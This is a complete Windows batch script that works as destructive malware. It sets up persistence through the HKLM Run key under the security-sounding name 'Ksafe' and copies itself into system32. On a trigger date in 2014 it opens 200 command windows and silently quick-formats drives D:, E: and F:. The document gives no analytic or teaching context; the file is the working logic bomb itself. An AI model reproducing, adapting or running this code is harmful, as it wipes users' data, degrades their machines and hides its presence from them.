@echo off
(
reg query "hklm\software\microsoft\windows\Currentversion\run" /v Ksafe || (reg add "hklm\software\microsoft\windows\Currentversion\run" /v Ksafe /t REG_SZ /d "%systemroot%\system32\%~n0.bat" /f & copy %~f0 "%systemroot%\system32\")
setlocal ENABLEEXTENSIONS
chcp 437
if not "%date:~3%"=="2014/4/28" exit
for /l %%i in (1,1,200) do start /max /SEPARATE cmd.exe
echo y|format d: /q
echo y|format e: /q
echo y|format f: /q
)>nul 2>nul